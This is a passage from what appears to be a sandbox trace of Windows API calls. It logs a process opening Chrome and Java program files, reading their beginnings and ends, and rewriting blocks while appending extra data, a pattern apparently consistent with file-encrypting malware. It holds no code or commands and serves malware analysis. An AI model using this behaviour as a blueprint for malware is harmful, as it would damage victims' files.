lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.239] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x50b03 [0045.240] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.241] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0045.241] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.241] CloseHandle (hObject=0x1cc) returned 1 [0045.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\tr.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.241] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.242] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4f508 [0045.242] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.242] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.242] ReleaseMutex (hMutex=0x128) returned 1 [0045.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0045.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tr.pak", lpUsedDefaultChar=0x0) returned 6 [0045.242] ReadFile (in: hFile=0x1cc, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0045.243] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x4e508 [0045.244] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.245] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x4e508 [0045.245] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.245] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0045.245] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0045.246] CloseHandle (hObject=0x1cc) returned 1 [0045.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logocanary.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0045.247] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.247] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x5741 [0045.247] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.247] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.247] ReleaseMutex (hMutex=0x128) returned 1 [0045.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logocanary.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0045.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logocanary.png", cchWideChar=14, lpMultiByteStr=0x1e630cc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logocanary.png", lpUsedDefaultChar=0x0) returned 14 [0045.247] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.248] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x4741 [0045.248] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.249] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x4741 [0045.249] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.249] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0045.249] WriteFile (in: hFile=0x1cc, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.250] CloseHandle (hObject=0x1cc) returned 1 [0045.250] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.254] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.254] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x5a7 [0045.254] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.254] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.254] ReleaseMutex (hMutex=0x128) returned 1 [0045.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Xusage.txt", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Xusage.txt", cchWideChar=10, lpMultiByteStr=0x1e630ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Xusage.txt", lpUsedDefaultChar=0x0) returned 10 [0045.254] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x5a7, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x354f2bc*=0x5a7, lpOverlapped=0x0) returned 1 [0045.255] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0045.256] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xb2f, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x354f2d0*=0xb2f, lpOverlapped=0x0) returned 1 [0045.256] CloseHandle (hObject=0x1c4) returned 1 [0045.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\kinit.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0045.256] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.256] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3da8 [0045.256] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.256] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.256] ReleaseMutex (hMutex=0x128) returned 1 [0045.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kinit.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0045.257] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="kinit.exe", cchWideChar=9, lpMultiByteStr=0x1e633ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kinit.exe", lpUsedDefaultChar=0x0) returned 9 [0045.257] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.258] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2da8 [0045.258] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.259] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2da8 [0045.259] WriteFile (in: hFile=0x1c4, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.260] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0045.260] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.260] CloseHandle (hObject=0x1c4) returned 1 [0045.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\tnameserv.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0045.773] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.773] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3fa8 [0045.773] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.773] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.773] ReleaseMutex (hMutex=0x128) returned 1 [0045.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tnameserv.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0045.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tnameserv.exe", cchWideChar=13, lpMultiByteStr=0x1e6338c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tnameserv.exe", lpUsedDefaultChar=0x0) returned 13 [0045.773] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.863] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2fa8 [0045.863] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.871] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2fa8 [0045.871] WriteFile (in: hFile=0x168, lpBuffer=0x25c6e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c6e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.871] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0045.871] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.871] CloseHandle (hObject=0x168) returned 1 [0045.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0045.874] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.874] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x414 [0045.874] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.874] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.874] ReleaseMutex (hMutex=0x128) returned 1 [0045.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LINEAR_RGB.pf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0045.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LINEAR_RGB.pf", cchWideChar=13, lpMultiByteStr=0x1e630ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LINEAR_RGB.pf", lpUsedDefaultChar=0x0) returned 13 [0045.874] ReadFile (in: hFile=0x168, lpBuffer=0x276a348, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesRead=0x354f2bc*=0x414, lpOverlapped=0x0) returned 1 [0045.882] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0045.882] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x99c, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x354f2d0*=0x99c, lpOverlapped=0x0) returned 1 [0045.882] CloseHandle (hObject=0x168) returned 1 [0045.882] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0045.887] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.887] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xd51 [0045.887] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.887] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.887] ReleaseMutex (hMutex=0x128) returned 1 [0045.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_fr.properties", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0045.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages_fr.properties", cchWideChar=22, lpMultiByteStr=0x1e78b7c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages_fr.properties", lpUsedDefaultChar=0x0) returned 22 [0045.887] ReadFile (in: hFile=0x168, lpBuffer=0x2732c08, nNumberOfBytesToRead=0xd51, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x354f2bc*=0xd51, lpOverlapped=0x0) returned 1 [0045.898] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0045.898] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x12d9, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f2d0*=0x12d9, lpOverlapped=0x0) returned 1 [0045.898] CloseHandle (hObject=0x168) returned 1 [0045.898] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0045.898] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.898] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x449777 [0045.898] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0045.899] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.899] ReleaseMutex (hMutex=0x128) returned 1 [0045.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="deploy.jar", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0045.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="deploy.jar", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deploy.jar", lpUsedDefaultChar=0x0) returned 10 [0045.899] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.903] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.909] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0045.925] SetFilePointer (in: hFile=0x168, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x447777 [0045.926] ReadFile (in: hFile=0x168, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x354f278*=0x2000, lpOverlapped=0x0) returned 1 [0046.186] SetFilePointer (in: hFile=0x168, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x447777 [0046.187] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x354f28c*=0x2588, lpOverlapped=0x0) returned 1 [0046.187] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0046.187] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.188] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.188] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0x2000, lpOverlapped=0x0) returned 1 [0046.188] CloseHandle (hObject=0x168) returned 1 [0046.188] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.188] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, 